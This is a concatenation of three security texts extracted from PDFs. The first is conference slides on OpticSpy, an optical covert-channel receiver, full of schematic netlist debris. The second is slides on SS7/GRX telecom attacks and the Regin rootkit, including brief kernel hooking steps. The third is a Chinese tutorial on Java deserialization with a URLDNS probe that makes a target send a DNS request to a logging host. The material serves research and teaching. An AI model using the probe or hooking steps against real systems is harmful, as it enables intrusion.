Blinkenlights ! Using LEDs to exfiltrate/send data ! Modulation faster than the human eye can detect ! Optical covert channels ! Information Leakage from Optical Emanations (Loughry and Umphress, 2002) ! Silence on the Wire: A Field Guide to Passive Reconnaissance and Indirect Attacks (Zalewski) ! Extended Functionality Attacks on IoT Devices: The Case of Smart Lights (Ronen, Shamir) ! xLED: Covert Data Exfiltration from Air-Gapped Networks via Router LEDs (Guri et al.) A Selection of Optical History ! Alexander Graham Bell's Photophone (1880) ! Fiber optic communications (~1963) ! Laser tag (~1979) ! Optical networking systems (VLC, Li-Fi, FSO) (2011) Related Projects ! Heathkit Laser Trainer/Receiver (1985) ! Engineer’s Mini Notebook: Optoelectronics Circuits (Forest Mims III, 1985) ! IRis (Craig Heffner, 2016) ! See no evil, hear no evil: Hacking invisibly & silently with light & sound (Matt Wixey, 2017) Design Goals ! Open source tool for optoelectronic experimentation ! Easy to understand theory ! Off-the-shelf components ! Hand solderable ! Raise awareness of other interesting communication/ exfiltration methods Proof of Concept Early Versions Development Block Diagram Points of Interest USB Receive indicator Power indicator Polarity selection Photodiode Threshold voltage adjust Gain adjust Schematic NOTE: RESISTORS ARE IN OHMS +/- 5a AND CAPACITORS ARE IN MICROFARADS UNLESS OTHERWISE NOTED. SEE BOM FOR ACTUAL VOLTAGE AND SPECIFICATION. OpticSpy Analog: Crowd Supply Edition SIZE DaTE TITLE FILENaME 3V3 10k R9 1k R3 3V3 TP5 Normal Inverted Place target LED near or onto sensor Peak wavelength sensitivity @ 565nm Power Indicator D1 BPW21R 0.1uF C1 Based on Maxim Integrated's AN1117: Small Photodiode Receiver Handles Fiber-Optic Data Rates to 800kbps (July 2001) 2 3 4 5 1 U3 MAX985EUK 4 3 2 1 5 U1 MAX4124EUK 4 3 2 1 5 U2 MAX4124EUK 100k R1 3V3 4.7k R5 3V3 0.1uF C2 3V3 0.1uF C5 3V3 0.1uF C7 0.1uF C3 10k R8 10k R7 0.1uF C4 1k R6 3V3 1k R11 3V3 0.1uF C6 Threshold Detector Non-Inverting Amplifier TP1 TP2 TP3 Frequency response inversely proportional to gain Total transimpedance gain = R2 x U1Av x U2Av U1Av = 1 + R4/R5 U2Av = 1 + R10/R8 R4 500k R12 20k TP4 R10 1.0M R2 20k To Host 1 2 3 4 5 P1 UX60-MB-5S8 0.1uF C11 USB Mini B 0.01uF C8 220R@100MHz L1 5V0 DATA_RX 4.7k R15 D2 LED 5V0 3V3 Q1 MMBT3904 RTS 2 DCD 8 RI 5 VCC 15 TXD 20 CTS 9 CBUS0 18 3V3OUT 13 DTR 1 RXD 4 CBUS1 17 DSR 7 USBDM 12 USBDP 11 VCCIO 3 RESET 14 GND 16 GND 6 CBUS2 10 CBUS3 19 U4 FT231XS 27 R14 27 R13 47pF C9 47pF C10 TXLEDa 5V0 4.7k R16 D3 LED Receive Data Indicator 10uF C13 TP6 10uF C12 0.1uF C14 IN 1 OUT 5 EN 3 BYP 4 GND 2 U5 MIC5205-3.3YM5 470pF C15 VUSB D_N D_P 2 1 3 5 4 6 SW1 JS202011CQN (2nd Stage) (Comparator) Non-Inverting Amplifier (1st Stage) PIC101 PIC102 COC1 PIC201 PIC202 COC2 PIC301 PIC302 COC3 PIC401 PIC402 COC4 PIC501 PIC502 COC5 PIC601 PIC602 COC6 PIC701 PIC702 COC7 PIC801 PIC802 COC8 PIC901 PIC902 COC9 PIC1001 PIC1002 COC10 PIC1101 PIC1102 COC11 PIC1201 PIC1202 COC12 PIC1301 PIC1302 COC13 PIC1401 PIC1402 COC14 PIC1501 PIC1502 COC15 PID101 PID102 COD1 PID201 PID202 COD2 PID301 PID302 COD3 PIL101 PIL102 COL1 PIP101 PIP102 PIP103 PIP104 PIP105 COP1 PIQ101 PIQ102 PIQ103 COQ1 PIR101 PIR102 COR1 PIR20CCW PIR20CW PIR20W COR2 PIR301 PIR302 COR3 PIR40CCW PIR40CW PIR40W COR4 PIR501 PIR502 COR5 PIR601 PIR602 COR6 PIR701 PIR702 COR7 PIR801 PIR802 COR8 PIR901 PIR902 COR9 PIR100CCW PIR100CW PIR100W COR10 PIR1101 PIR1102 COR11 PIR120CCW PIR120CW PIR120W COR12 PIR1301 PIR1302 COR13 PIR1401 PIR1402 COR14 PIR1501 PIR1502 COR15 PIR1601 PIR1602 COR16 PISW101 PISW102 PISW103 PISW104 PISW105 PISW106 COSW1 PITP101 COTP1 PITP201 COTP2 PITP301 COTP3 PITP401 COTP4 PITP501 COTP5 PITP601 COTP6 PIU101 PIU102 PIU103 PIU104 PIU105 COU1 PIU201 PIU202 PIU203 PIU204 PIU205 COU2 PIU301 PIU302 PIU303 PIU304 PIU305 COU3 PIU401 PIU402 PIU403 PIU404 PIU405 PIU406 PIU407 PIU408 PIU409 PIU4010 PIU4011 PIU4012 PIU4013 PIU4014 PIU4015 PIU4016 PIU4017 PIU4018 PIU4019 PIU4020 COU4 PIU501 PIU502 PIU503 PIU504 PIU505 COU5 PIC202 PIC502 PIC702 PIC1301 PIR101 PIR301 PIR601 PIR120CW PIR1601 PIU105 PIU205 PIU302 PIU505 PIC1201 PIC1402 PID201 PIL102 PIU4015 PIU501 PIU503 PIC902 PIP102 PIR1301 NLD0N PIC1002 PIP103 PIR1401 NLD0P PISW102 PISW105 PITP501 PIU404 NLDATA0RX PIC101 PIC201 PIC401 PIC501 PIC601 PIC701 PIC801 PIC901 PIC1001 PIC1101 PIC1202 PIC1302 PIC1401 PIC1501 PID302 PIP105 PIQ101 PIR20CCW PIR502 PIR1102 PIR120CCW PITP601 PIU102 PIU202 PIU305 PIU406 PIU4016 PIU502 PIC102 PID102 PIR102 PIC301 PIR701 PITP201 PIU203 PIC302 PIR40CW PIR40W PIU101 PIC402 PIR602 PIR702 PIR802 PIR1101 PIC602 PIR120W PITP401 PIU304 PIC1102 PIU403 PIU4013 PIU4014 PIC1502 PIU504 PID101 PIR20CW PIR20W PITP101 PIU103 PID202 PIR1501 PID301 PIR1602 PIP104 PIQ102 PIR902 PIQ103 PIR302 PISW103 PISW106 PIR40CCW PIR501 PIU104 PIR801 PIR100CCW PIU204 PIR901 PISW101 PISW104 PIU301 PIR100CW PIR100W PITP301 PIU201 PIU303 PIR1302 PIU4012 PIR1402 PIU4011 PIU401 PIU402 PIU405 PIU407 PIU408 PIU409 PIU4017 PIU4018 PIU4019 PIU4020 PIR1502 PIU4010 NLTXLED# PIC802 PIL101 PIP101 NLVUSB Photodiode ! Vishay Semiconductor BPW21R ! Converts light into current ! Photoconductive mode (reverse bias) ! Faster response -> higher bandwidth ! Less sensitivity, increased dark current ! Bias resistor affects response/sensitivity D1 BPW21R 0.1uF C1 100k R1 3V3 TP1 R2 20k Non-Inverting Amplifier PIC101 PIC102 COC1 PID101 PID102 COD1 PIR101 PIR102 COR1 PIR20CCW PIR20CW PIR20W COR2 PITP101 COTP1 PIU103 PIU104 PIR101 PIC101 PIR20CCW PIC102 PID102 PIR102 PID101 PIR20CW PIR20W PITP101 PIU103 PIU104 Amplification ! Maxim MAX4124 Wide Bandwidth, Low Power, Rail-to-Rail Operational Amplifier ! Two stages w/ signal massaging in between ! Lower gain per stage -> less overall noise ! Total transimpedance gain = R2 x U1Av x U2Av 4 3 2 1 5 U1 MAX4124EUK 4 3 2 1 5 U2 MAX4124EUK 3V3 4.7k R5 3V3 0.1uF C2 3V3 0.1uF C5 0.1uF C3 10k R8 10k R7 0.1uF C4 1k R6 3V3 1k R11 3V3 0.1uF C6 Threshold Detector Non-Inverting Amplifier TP1 TP2 TP3 Frequency response inversely proportional to gain Total transimpedance gain = R2 x U1Av x U2Av U1Av = 1 + R4/R5 U2Av = 1 + R10/R8 R4 500k R12 20k TP4 R10 1.0M R2 20k (2nd Stage) Non-Inverting Amplifier (1st Stage) PIC201 PIC202 COC2 PIC301 PIC302 COC3 PIC401 PIC402 COC4 PIC501 PIC502 COC5 COC6 COR2 PIR40CCW PIR40CW PIR40W COR4 PIR501 PIR502 COR5 PIR601 PIR602 COR6 PIR701 PIR702 COR7 PIR801 PIR802 COR8 PIR100CCW PIR100CW PIR100W COR10 PIR1101 PIR1102 COR11 PIR120CCW PIR120CW PIR120W COR12 PITP101 COTP1 PITP201 COTP2 PITP301 COTP3 PITP401 COTP4 PIU101 PIU102 PIU103 PIU104 PIU105 COU1 PIU201 PIU202 PIU203 PIU204 PIU205 COU2 PIU303 PIU304 PIC202 PIC502 PIR601 PIR120CW PIU105 PIU205 PIC201 PIC401 PIC501 PIR502 PIR1102 PIR120CCW PIU102 PIU202 PIC301 PIR701 PITP201 PIU203 PIC302 PIR40CW PIR40W PIU101 PIC402 PIR602 PIR702 PIR802 PIR1101 PIR120W PITP401 PIU304 PITP101 PIU103 PIR40CCW PIR501 PIU104 PIR801 PIR100CCW PIU204 PIR100CW PIR100W PITP301 PIU201 PIU303 Comparator ! Maxim MAX985 Micropower, Low Voltage, Rail-to- Rail Comparator ! Determine what portion of signal treated as logic level '0' or '1' ! Adjustable threshold voltage w/ potentiometer R12 10k R9 1k R3 3V3 TP5 Normal Inverted 2 3 4 5 1 U3 MAX985EUK MAX4124EUK 0.1uF 3V3 0.1uF C7 3V3 0.1uF C6 Threshold Detector Non-Inverting Amplifier TP3 R10/R8 R12 20k TP4 0.1uF C11 DATA_RX Q1 MMBT3904 2 1 3 5 4 6 SW1 JS202011CQN (Comparator) PIC601 PIC602 COC6 PIC701 PIC702 COC7 PIC1101 PIC1102 COC11 PIQ101 PIQ102 PIQ103 COQ1 PIR301 PIR302 COR3 PIR901 PIR902 COR9 PIR120CCW PIR120CW PIR120W COR12 PISW101 PISW102 PISW103 PISW104 PISW105 PISW106 COSW1 PITP301 COTP3 PITP401 COTP4 PITP501 COTP5 PIU301 PIU302 PIU303 PIU304 PIU305 COU3 PIC702 PIR301 PIR120CW PIU302 PISW102 PISW105 PITP501 NLDATA0RX PIC601 PIC701 PIC1101 PIQ101 PIR120CCW PIU305 PIC602 PIR120W PITP401 PIU304 PIC1102 PIQ102 PIR902 PIQ103 PIR302 PISW103 PISW106 PIR901 PISW101 PISW104 PIU301 PITP301 PIU303 USB Interface ! Powers OpticSpy from bus (5V) ! FTDI FT231X USB-to-Serial UART ! Entire USB protocol handled on-chip ! Host will recognize as a virtual serial port (Windows, OS X, Linux) ! Decode asynchronous data streams and pass to host PC 0.1uF 3V3 Threshold Detector To Host 1 2 3 4 5 P1 UX60-MB-5S8 0.1uF C11 USB Mini B 0.01uF C8 220R@100MHz L1 5V0 4.7k R15 D2 LED RTS 2 DCD 8 RI 5 VCC 15 TXD 20 CTS 9 CBUS0 18 3V3OUT 13 DTR 1 RXD 4 CBUS1 17 DSR 7 USBDM 12 USBDP 11 VCCIO 3 RESET 14 GND 16 GND 6 CBUS2 10 CBUS3 19 U4 FT231XS 27 R14 27 R13 47pF C9 47pF C10 TXLEDa 5V0 Receive Data Indicator VUSB D_N D_P (Comparator) PIC801 PIC802 COC8 PIC901 PIC902 COC9 PIC1001 PIC1002 COC10 PIC1101 PIC1102 COC11 PID201 PID202 COD2 PIL101 PIL102 COL1 PIP101 PIP102 PIP103 PIP104 PIP105 COP1 PIR1301 PIR1302 COR13 PIR1401 PIR1402 COR14 PIR1501 PIR1502 COR15 PIU401 PIU402 PIU403 PIU404 PIU405 PIU406 PIU407 PIU408 PIU409 PIU4010 PIU4011 PIU4012 PIU4013 PIU4014 PIU4015 PIU4016 PIU4017 PIU4018 PIU4019 PIU4020 COU4 PID201 PIL102 PIU4015 PIC902 PIP102 PIR1301 NLD0N PIC1002 PIP103 PIR1401 NLD0P PIU404 PIC801 PIC901 PIC1001 PIC1101 PIP105 PIU406 PIU4016 PIC1102 PIU403 PIU4013 PIU4014 PID202 PIR1501 PIP104 PIR1302 PIU4012 PIR1402 PIU4011 PIU401 PIU402 PIU405 PIU407 PIU408 PIU409 PIU4017 PIU4018 PIU4019 PIU4020 PIR1502 PIU4010 NLTXLED# PIC802 PIL101 PIP101 NLVUSB PCB Bill-of-Materials OpticSpy Analog: Crowd Supply Edition Bill-of-Materials HW A, Document 1.0, January 18, 2018 Item Quantity Reference Manufacturer Manuf. Part # Distributor Distrib. Part # Description 1 9 C1, C2, C3, C4, C5, C6, C7, C11, C14 Kemet C0805C104K5RACTU Digi-Key 399-1170-1-ND Capacitor, 0.1uF, 50V, Ceramic, 10%, X7R, 0805 2 1 C8 Kemet C0805C103K5RACTU Digi-Key 399-1158-1-ND Capacitor, 0.01uF, 50V, Ceramic, 10%, X7R, 0805 3 2 C9, C10 Samsung CL21C470JBANNNC Digi-Key 1276-1156-1-ND Capacitor, 47pF, 50V, Ceramic, 5%, C0G, 0805 4 2 C12, C13 Vishay Sprague 293D106X0016A2TE3 Digi-Key 718-1956-1-ND Capacitor, 10uF, 16V, Tantalum, 20%, Size A 5 1 C15 Yageo CC0805KRX7R9BB471 Digi-Key 311-1124-1-ND Capacitor, 470pF, 50V, Ceramic, 10%, X7R, 0805 6 1 D1 Vishay Semiconductor BPW21R Digi-Key 751-1013-ND Photodiode, Silicon PN, 420-675nm, TO-5 7 2 D2, D3 Kingbright APT2012SYCK Digi-Key 754-1134-1-ND LED, Yellow clear, 150mcd, 2.0Vf, 590nm, 0805 8 1 L1 TDK MPZ2012S221AT000 Digi-Key 445-1568-1-ND Inductor, Ferrite Bead, 220R @ 100MHz, 3A, 0805 9 1 P1 Hirose Electric UX60-MB-5S8 Digi-Key H2960CT-ND Connector, Mini-USB, 5-pin, SMT w/ PCB mount 10 1 Q1 ON Semiconductor MMBT3904 Digi-Key MMBT3904FSCT-ND Transistor, NPN, 40V, 200mA, SOT23-3 11 1 R1 Any Any Digi-Key P100KACT-ND Resistor, 100k, 5%, 1/8W, 0805 12 2 R2, R12 Bourns PVG5A203C03R00 Digi-Key 490-2667-1-ND Resistor, Variable Trimmer, 20k, 1/8W, SMD 13 3 R3, R6, R11 Any Any Digi-Key P1.0KACT-ND Resistor, 1k, 5%, 1/8W, 0805 14 1 R4 Bourns PVG5A504C03R00 Digi-Key 490-2674-1-ND Resistor, Variable Trimmer, 500k, 1/8W, SMD 15 3 R5, R15, R16 Any Any Digi-Key P4.7KACT-ND Resistor, 4.7k, 5%, 1/8W, 0805 16 3 R7, R8, R9 Any Any Digi-Key P10KACT-ND Resistor, 10k, 5%, 1/8W, 0805 17 1 R10 Bourns PVG5A105C03R00 Digi-Key 490-2663-1-ND Resistor, Variable Trimmer, 1.0M, 1/8W, SMD 18 2 R13, R14 Any Any Digi-Key P27ACT-ND Resistor, 27 ohm, 5%, 1/8W, 0805 19 1 SW1 C&K Components JS202011CQN Digi-Key 401-2001-ND Switch, DPDT slide, 300mA @ 6VDC, PCB mount 20 2 U1, U2 Maxim Integrated MAX4124EUK+T Digi-Key MAX4124EUK+TCT-ND IC, Operational Amplifier, Rail-to-Rail, SOT23-5 21 1 U3 Maxim Integrated MAX985EUK+T Digi-Key MAX985EUK+TCT-ND IC, Comparator, Push-Pull, Rail-to-Rail, SOT23-5 22 1 U4 FTDI FT231XS-R Digi-Key 768-1129-1-ND IC, USB-to-UART Bridge, SSOP20 23 1 U5 Microchip MIC5205-3.3YM5 Digi-Key 576-1259-1-ND Linear Regulator, LDO, 3.3V, 150mA, SOT23-5 ! All components available from Digi-Key, Mouser ! Total cost per unit @ 100 quantity = ~$40.77 ! High ticket items: Photodiode, op amp, comparator, potentiometers, PCB fab/assembly/test Target Data Transmission ! Standard LED driver circuit ! Asynchronous serial (UART) ! No external clock needed ! NRZ (Non-Return-To-Zero) coding ! Transfer speed (baud rate) selectable ! Data bits sent LSB first (D0) *** Start bit + Data bits + Parity (optional) + Stop bit(s) Target Data Transmission Bit width = ~8.7uS Mark (Idle) Space Target Data Transmission ! Printable ASCII data via standard UART ! printf(message) or equivalent Target Data Transmission TP1: Photocurrent-to-Voltage TP2: 1st Stage Amp Output TP3: 2nd Stage Amp Output TP5: Comparator Output TP5: Comparator Output Calibration ! Adjust settings for a particular target system ! Reduce ambient noise ! Increase receive distance ! Change frequency response/bandwidth ! Dependent on brightness and wavelength of transmitting signal ! Potentiometers ! Gain adjustment (three stages) ! Default setting @ mid-range -> 27.6MΩ ! Threshold voltage adjustment (for comparator) ! Set to 2.5V during production Demonstrations Parallax Electronic Badge Tomu ! Silicon Labs Happy Gecko EFM32HG309 ! Total 12 components (incl. plastic case) ! 100% Open Source (w/ KiCad) ! http://tomu.im ! https://github.com/im-tomu/tomu-quickstart/tree/ master/opticspy Arduino + Laz0r!@ ! Long-range data transmission w/ laser diode module ! Data sent to LDO Enable (EN) pin ! Distance limited by laser diffusion + output power ! oshpark.com/shared_projects/WV8fBzyW VIN 5 VO 4 EN 1 NC 2 GND 3 U1 MIC5213a3.0YC5 1uF C3 VCC 10uF C1 VCC 1 NC 3 GND 2 D1 APC Laser Diode Module LEN 3V0 Input voltage Arima APCD-635-02-C3-A or equivilent 80mA maximum operating current 0.1uF C2 VCC 2.5V to 16V DNP R1 1 2 3 JP1 Header 3 PIC101 PIC102 COC1 PIC201 PIC202 COC2 PIC301 PIC302 COC3 PID101 PID102 PID103 COD1 PIJP101 PIJP102 PIJP103 COJP1 PIR101 PIR102 COR1 PIU101 PIU102 PIU103 PIU104 PIU105 COU1 PIC302 PID101 PIU104 PIC102 PIC201 PIC301 PID102 PIJP101 PIR101 PIU103 PIJP102 PIR102 PIU101 NLLEN PID103 PIU102 PIC101 PIC202 PIJP103 PIU105 Arduino + Laz0r!@ Hayes Smartmodem Optima ! Data leakage through SD (Send Data) LED ! Discovered by Loughry and Umphress 2002 ! Indicator LEDs tied to serial port data lines Hayes Smartmodem Optima ! uSD to Serial Interface ! Read text file from card, send contents via serial ! DB25 connection for direct connection to modem ! Good for demonstrations, trolling, etc. ! oshpark.com/shared_projects/laP2t8DO TP-Link TL-WR841N ! Physically unmodified router w/ DD-WRT ! Cross compiled w/ toolchain-mips_24kc_ gcc-7.2.0_musl ! Loaded onto the device with known administrator credentials (as proof of concept) TP-Link TL-WR841N MacBook Pro Keyboard ! Based on https://github.com/pirate/mac-keyboard- brightness ! Backlight LEDs @ 100Hz, 75% PWM :( ! Can decode manually or w/ MCU via TP5 Samsung TV Remote ! 38kHz carrier ! Start: 4.5ms pulse burst, 4.5ms space ! Logic '1': ~544μs pulse, 1.706ms space ! Logic '0': ~544μs pulse, 580μs space ! Measure via TP5 iPhone 6 Proximity Sensor ! ~313uS width @ 100kHz carrier ! 30Hz refresh rate ! Measure via TP5 Application Ideas ! Search for optical covert channels in existing devices ! Discover optical networking/communications systems ! Add data transfer functionality to a project ! Receive/demodulate IR signals ! Measure the world around you Limitations ! Data must be NRZ encoded in order to pass through USB-to-Serial interface ! Short receive range (up to ~4 inches) w/o additional optics ! Difficult to determine potentiometer settings Future Work? ! More intelligence to handle non-NRZ data streams (on-board v. off-board) ! Automatic gain control (AGC) to replace potentiometers ! Compromise/communicate with a target device using an LED as an input Other Things ! Photodiode Amplifiers: Op Amp Solutions, Jerald Graeme, McGraw-Hill, 1995 ! Sound Camera: NYC Night Drive, Eric Archer, 2010 ! The Photophone, Hack-a-Week, 2011 ! PWM Laser Audio Transmitter, Tymkrs, 2011 Other Things ! IBM/Lenovo ThinkPad LED Control ! www.reddit.com/r/thinkpad/comments/7n8eyu/ thinkpad_led_control_under_gnulinux/ ! Asus ROG Strix Z370 Gaming Mini-ITX Motherboard ! Addressable AURA sync RGB LED lighting ! www.asus.com/us/ROG-Republic-Of-Gamers/ROG- STRIX-Z370-I-GAMING/ Come Into the Light ! grandideastudio.com/portfolio/opticspy *** Schematic, BOM, Gerber plots, test procedure, user manual, demonstration code ! oshpark.com/profiles/joegrand *** Bare boards ! crowdsupply.com/grand-idea-studio/opticspy *** Assembled units The End.
pdf
Author: Ömer Coşkun Why Nation-State Malwares Target Telco Networks: Dissecting Technical Capabilities of Regin and Its Counterparts The supreme art of war is to subdue the enemy without fighting. Sun Tzu Outline ¡  Overview ¡  Telecom Network Architecture ¡  Practical Attack Surfaces ¡  GRX Attack Vectors ¡  SS7 Attack Vectors ¡  Practical Attack Scenarios ¡  Rootkit Attacks: Regin and it’s counterparts ¡  Common Rootkit Techniques and Regin ¡  Regin vs. Uruborus and Duqu ¡  Demo: PoC || GTFO ¡  Questions ? 1 $ whoami Ömer Coşkun (@0xM3R) ¡  BEng. Computer Science Research Assistant in Quantum Cryptography & Advanced Topics in AI 2 ¡ Industry Experience KPN – CISO , Ethical Hacking Verizon – Threat & Vulnerability Management IBM ISS – Threat Intelligence ¡  Interests Algorithm Design, Programming, Cryptography, Reverse Engineering, Malware Analysis, OS Internals, Rootkits $ REDteam 3 Motivations 4 ¡  Analyze existing vulnerabilities and attack surface of GSM networks ¡  Governments hack their own citizens ¡  Surveillance implants shifted focus to telecom networks and network devices ¡  European Telco companies are really paranoid after Regin attack ¡  Rootkits are fun : a lot to learn & challenge ¡  Reproduce the attack scenario and implement it! GSM Network Architecture 5 GSM Network Architecture 6 Regin targets GSM Networks 7 Determining Attack Surface 8 Determining Attack Surface 9 Determining Attack Surface 10 Potential Attack Surfaces 11 ¡  Absence of physical intrusion detection devices ¡  Vulnerable services running accessible from BTS ¡  Absence of tamper resistance and unauthorized access protection ¡  Improper network segmentation; inner non- routable segments of the Telco company could accessible. ¡  Core GPRS Network and Network Subsystem (NSS) could be exploitable! Potential Attack Surfaces 12 GRX Networks 13 GRX Networks 14 ¡  GPRS roaming exchange, interconnecting networks. ¡  Your local GSM provider abroad ¡  Trust-based, highly interconnected network, made for internet sharing ¡  A failure or malicious activity would affect multiple connected machines ¡  Multiple attacks vectors, not limited to a particular segment where you are originating from. GRX Networks – Attack Vectors 15 GRX Networks – Attack Vectors 16 ¡  GPRS roaming exchange, interconnecting networks. ¡  Your local GSM provider abroad ¡  Trust-based, highly interconnected network, made for internet sharing ¡  Multiple attacks vectors, not limited to a particular segment where you are originating from. GRX Networks – Network Flow 17 GRX Networks – Network Flow 18 Juicy information is here. GRX Networks – Network Flow 19 And more juicy information is here. GRX Networks – Attacks & Flaws 20 Are you telling me all your communication intercepted and logged including your physical location?. SS7 & SIGTRAN 21 SS7 & SIGTRAN 22 SS7 Introduces procedures for ¡  User identification. Routing ¡  Billing ¡  Call management SS7 & SIGTRAN 23 •  Flow control of transmitted information •  Traffic congestion controls •  Peer entity status detection (GT + PC or SPC) •  Traffic Monitoring and monitoring measuremen ¡ SS7 Features: SS7 & SIGTRAN 24 SS7 & SIGTRAN 25 SS7 Protocol Analysis 26 SS7 Protocol Analysis 27 All the juicy info here : ü  Calling no. ü  Called no ü  Call duration ü  Call duration ü  Call status 28 Feel confident that NSA not interested in ‘Good’ people?. SS7 Protocol Attacks & Flows 29 SS7 Practical Attack Scenarios 1 • Intercepting subscribers calls 30 SS7 Practical Attack Scenarios 2 • Subscriber service change attacks 31 SS7 Practical Attack Scenarios 3 • Interception of SMS messages 4 • Interception of outgoing calls 5 • Redirection of incoming or outgoing calls 6 • Making changes in user bills or balance 32 SS7 Practical Attack Scenarios 7 • Unblocking stolen mobile devices IEEE August 2015, Nokia Researchers Espoo, Finland. 33 SS7 Practical Attack Scenarios IEEE August 2015, Nokia Researchers Espoo, Finland. 7 • Unblocking stolen mobile devices 34 Source: https://wikileaks.org/hackingteam/emails/emailid/343623 Hacking Team after SS7 Hacks 35 Rootkit Techniques Hardware/Software Interception: Captain Hook Style Hacking 36 Captain Hook Style Hacking: Intercepts every function, keeps a copy of the content for herself, and then let the function continue as it was supposed to … 37 Rootkit Techniques 38 Regin Platform Structure 39 Regin Platform Analysis • No one had the dropper when started analysis • Multi stage and encrypted framework structure • Modules are invoked via SOA structure by the framework • Malware data are stored inside the VFS • Researched GSM Networks had no indication of compromise J ¡ Challenges, Hurdles & Difficulties: 40 Regin Platform Analysis ¡ What is the solution ? Check similar work & the write up: http://artemonsecurity.com/regin_analysis.pdf RE Orchestrator Memory dumps Static Analysis Instrumentation of Calls Dynamic Analysis 41 Regin Platform Stages 42 Regin Platform – Stage 1 43 Regin Platform – Stage 2 44 Regin Platform – Stage 2 45 Regin Platform – Stage 3 & 4 46 Regin Platform – Stage 3 & 4 47 Regin Platform – Stage 3 & 4 – How to Weaponize it ? 1 • Register a call-back function to a process 2 • Log the PID of the target process 3 • Obtain PEB via ZwQueryInformation() for base adresses of the modules 4 • Obtain the EP via PsLookupProcesByProcess() 5 • Get inside to the process context via KeStackAttachProcess() referenced by EP 6 • Read PEB and other data in process context 48 Regin Platform – Stage 3 & 4 – How to Weaponize it ? 49 Uruborus < Regin < Duqu2 Uruborus Regin Duqu2 Encrypted VFS Encrypted VFS Encrypted VFS #2 PatchGuard Bypass Fake Certificate Stolen Certificate Multiple Hooks Orchestrator SOA Orchestrator SOA AES RC5 Camellia 256, AES, XXTEA Backdoor/Keylogger Mod Advanced Network/ File Mods More Advanced Network/File/USB Mods 50 Regin Attack Simulation Mini Regin Attack Simulator Covert Channel Data Exfiltration Run as a thread of legitimate app’s address space Orchestrator simulator and partial SOA File system, registry and network calls hooking Backdoor/Keylogger Mod 51 Demo 52 Questions ? 53 54 References ¡  http://denmasbroto.com/article-5-gprs-network-architecture.html ¡  http://docstore.mik.ua/univercd/cc/td/doc/product/wireless/ moblwrls/cmx/mmg_sg/cmxgsm.htm ¡  http://4g-lte-world.blogspot.nl/2013/03/gprs-tunneling-protocol-gtp-in- lte.html ¡  http://labs.p1sec.com/2013/04/04/ss7-traffic-analysis-with-wireshark/ ¡  http://www.gl.com/ss7_network.html ¡  http://www.slideshare.net/mhaviv/ss7-introduction-li-in ¡  http://www.gl.com/ss7.html
pdf
Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 1 Java反序列化漏洞 - 1.从URL类的 ⼀个bug 说起 URL 类的⼀个远古bug Java 的URL 类有个很好玩的bug,当你调⽤它的hashCode()⽅法时,会发起⼀次DNS 解析。例如,当你往HashSet 添加⼀个URL元素时,会触发URL 的hashCode() ⽅法⽐较 元素,然后发出⼀个DNS 请求。 Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 2 这个bug 源于URL 的⼀个错误实现,早在2001 年已经有⼈反馈给oracle,我们现在还能 在Oracle 的java bug 反馈平台看到当时的bug report 记录。 当时有好⼏个⼈同时反馈了这个问题, 其中⼀个表⽰:怎么我调⽤⼀个简单的 hashCode() ⽅法花了20秒??! 以及:怎么我两个url 不⼀样,调⽤equals ⽐较返回true??! 这是因为URL 类在计算hashCode 的时候,发起了DNS 请求获取ip,并且通过ip地址来 ⽐较两个URL 对象是否equals。实现这⼀功能的⼯程师应该是这么想的,⽐较两个URL 是否相等时应该⽐较它们的ip 地址。 oracle 收到bug 反馈后,最后的结论是不处理,因为需要向后兼容。但他们提供了⼀个新 的URI 类来避免这个问题。 Unfortunately, changing the behavior now would break backward compatibility in a serious way, plus Java Security mechanism Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 3 depends on it in some parts of the implementation. We can't change it now. 这⼀错误实现看起来没有什么⽤处,没想到⼗多年后⽅便了安全研究⼈员。 反序列化简介 所以URL 类跟反序列化漏洞有什么关系?当然有关系。 下⾯先介绍⼀下反序列化。 简单来说,序列化就是把对象存到⽂件⾥,反序列化就是从⽂件⾥读取⼀个对象。代码运 ⾏时对象是在内存⾥的,运⾏结束内存⾥的对象就没有了,为了可以持久化,需要存到⽂ 件。 序列化: Employee employee = new Employee(); FileOutputStream fileOutputStream = new FileOutputStream("/tmp/employee.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(employee); objectOutputStream.close(); fileOutputStream.close(); 反序列化: FileInputStream fileInputStream = new FileInputStream("/tmp/employee.ser"); ObjectInputStream objectInputStream= new ObjectInputStream(fileInputStream); Employee employee = (Employee) in.readObject(); objectInputStream.close(); fileInputStream.close(); 写到⽂件⾥的是⼆进制数据。我们还可以使⽤readObject ⽅法和writeObject ⽅法来⾃ 定义对象⾥的哪些内容需要序列化。 readObject 和writeObject 是约定俗成的⽅法,不是哪个接⼝⾥定义的⽅法。Java 在序列 化和反序列化时,会通过反射去寻找它们,如果存在会直接调⽤。 Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 4 private void writeObject(ObjectOutputStream out) throws IOException; private void readObject(ObjectInputStream ins) throws IOException, ClassNotFoundException; 如果在反序列化调⽤readObject 的时候,readObject ⾥⾯有⼀些危险的代码,漏洞就形 成了。 以URL 类为例,⼀个以URL 为key 的HashMap,在反序列化时会调⽤URL 的hashCode ⽅法,触发⼀个DNS 请求。 也就是说我们可以让⽬标服务器发⼀个DNS 请求,如果我们收到了这个dns ⽇志,可以 证明反序列化漏洞存在。 探测是否存在反序列化漏洞 我们可以⽤这个bug 来探测是否存在反序列化漏洞。 1.⾸先⽣成序列化⽂件 Map<URL, String> map = new HashMap<>(); URL url = new URL("http://xxxx.ceye.io"); map.put(url, "test"); //这⾥就会触发⼀次dns 请求,可以通过设置SilentURLStreamHandler 或者设置has hCode 来避免,为简单起⻅先忽略了 try { FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(map); outputStream.close(); fileOutputStream.close(); } catch (Exception e) { e.printStackTrace(); } 2.写⼀个接⼝测试,接收到⽂件后调⽤readObject @RestController public class DNSController { @PostMapping(value = "/test") public String test(@RequestParam("file") MultipartFile file) throws IOException, Class NotFoundException { Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 5 ObjectInputStream inputStream = new ObjectInputStream(file.getInputStream()); inputStream.readObject(); inputStream.close(); return "OK"; } } 3.使⽤postman 或者curl 等⼯具测试 curl --location --request POST 'http://127.0.0.1:8080/test' \ --form 'file=@"/Users/xxxxxx/Desktop/urldns.ser"' 4.在DNS log 平台收到这个DNS 